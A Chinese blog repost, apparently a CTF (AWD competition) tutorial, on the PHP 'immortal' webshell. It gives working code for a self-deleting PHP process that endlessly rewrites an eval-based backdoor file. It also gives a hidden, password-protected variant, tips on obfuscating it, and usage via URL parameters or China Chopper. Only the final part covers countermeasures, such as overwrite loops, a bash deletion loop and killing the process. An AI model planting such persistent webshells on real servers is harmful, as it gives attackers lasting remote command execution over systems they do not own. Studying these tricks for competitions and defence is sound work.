zoukankan      html  css  js  c++  java
  • 不死马

    借鉴文章

    不死马常用于AWD模式,用于权限维持,首先上传一个不死马,然后访问该页面,就会执行不死马,它会以进程的形式运行,不断的生成文件,即使被发现也不容易被删掉,同时注意上传的目录是否有权限

    不死马

    <?php
     
    set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
     
    ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
     
    unlink(__FILE__);     //删除自身
     
    while(1)
     
    {    
    file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php sleep(0); //间隔时间 } ?>

    上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php

    同时为了防止被其他人利用,可以进行修改,用md5验证,或者其他利用方法验证,只要不让其他人搭顺风车就可以,在文件前面加个点在Linux系统中变成隐藏文件,以用来隐蔽自己,当然也可以用其他编码或者其他方法来混淆代码,让其他人看不出来或无法直接利用

    <?php
    
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.shell.php';
    $code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>';
    while (1){
        file_put_contents($file,$code);
        usleep(5000);
    }
    ?>

    这样就可以直接利用URL传参.shell.php?passwd=passwd&cmd=你要执行的命令; 或者利用菜刀

    被中了不死马怎么办,最简单的是重启服务器,然后删掉木马文件,但大多比赛无法重启服务的权限,不过可以通过不断向木马文件复写来克制,前提是写入速度要大于不死马的生成速度

    <?php
    set_time_limit(0);
    ignore_user_abort(true);
    unlink(__FILE__);
    while(1)
    {
            file_put_contents('./shell.php','11111');
            usleep(0);
    }
    ?>

    也可以用bash不断的删除文件

    #!/bin/bash
    while : ;do rm -rf .shell.php; done;

    或者不断的删除程序和杀进程

    <?php
    while (1) {
        $pid=xxx;
        @unlink('shell.php');
        exec('kill -9 $pid');
    }
    ?>
  • 相关阅读:
    用纹理贴图模拟反射,NeHe23课球面映射相关
    VS2010: CommandLine Warning D9025
    【转】C RunTime Library 暨 深入理解编译选项的含义 01
    让Doxygen输出中文注释不乱码
    windows环境下memcache配置
    C#中英文字符长度截取
    apache 的工作原理
    pear包安装phpunit
    使用 libevent 和 libev 提高网络应用性能
    PHP发明人谈MVC和网站设计架构——貌似他不支持php用mvc
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12057662.html
Copyright © 2011-2022 走看看